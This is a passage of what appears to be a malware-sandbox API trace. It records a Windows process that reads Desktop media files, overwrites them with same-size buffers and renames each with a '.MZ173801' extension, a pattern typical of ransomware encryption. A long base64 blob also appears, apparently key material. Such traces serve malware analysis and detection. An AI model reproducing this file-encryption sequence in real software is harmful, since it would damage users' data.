2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.767] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcsZXJjwJj.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bcszxjjwjj.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.767] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0144.767] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.767] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xc26e [0144.767] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.767] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0xc26e, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0xc26e, lpOverlapped=0x0) returned 1 [0144.769] CloseHandle (hObject=0x224) returned 1 [0144.770] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcsZXJjwJj.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bcszxjjwjj.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.771] WriteFile (in: hFile=0x224, lpBuffer=0x722540*, nNumberOfBytesToWrite=0xc26e, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x722540*, lpNumberOfBytesWritten=0x18f99c*=0xc26e, lpOverlapped=0x0) returned 1 [0144.773] CloseHandle (hObject=0x224) returned 1 [0144.774] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcsZXJjwJj.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bcszxjjwjj.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcsZXJjwJj.m4a.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bcszxjjwjj.m4a.mz173801")) returned 1 [0144.776] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d_VsdDgTN.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d_vsddgtn.wav"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd333f170, ftCreationTime.dwHighDateTime=0x1d5e33b, ftLastAccessTime.dwLowDateTime=0xdd459f60, ftLastAccessTime.dwHighDateTime=0x1d5e403, ftLastWriteTime.dwLowDateTime=0xdd459f60, ftLastWriteTime.dwHighDateTime=0x1d5e403, nFileSizeHigh=0x0, nFileSizeLow=0x12dee)) returned 1 [0144.777] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.779] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d_VsdDgTN.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d_vsddgtn.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.780] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0144.780] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.780] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x12dee [0144.780] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.780] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0x12dee, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x12dee, lpOverlapped=0x0) returned 1 [0144.781] CloseHandle (hObject=0x224) returned 1 [0144.783] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d_VsdDgTN.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d_vsddgtn.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.785] WriteFile (in: hFile=0x224, lpBuffer=0x728540*, nNumberOfBytesToWrite=0x12dee, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x728540*, lpNumberOfBytesWritten=0x18f99c*=0x12dee, lpOverlapped=0x0) returned 1 [0144.787] CloseHandle (hObject=0x224) returned 1 [0144.788] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d_VsdDgTN.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d_vsddgtn.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d_VsdDgTN.wav.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d_vsddgtn.wav.mz173801")) returned 1 [0144.789] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hhRwlg.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hhrwlg.gif"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf21bef0, ftCreationTime.dwHighDateTime=0x1d5de97, ftLastAccessTime.dwLowDateTime=0x4674f210, ftLastAccessTime.dwHighDateTime=0x1d5e120, ftLastWriteTime.dwLowDateTime=0x4674f210, ftLastWriteTime.dwHighDateTime=0x1d5e120, nFileSizeHigh=0x0, nFileSizeLow=0xb264)) returned 1 [0144.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEz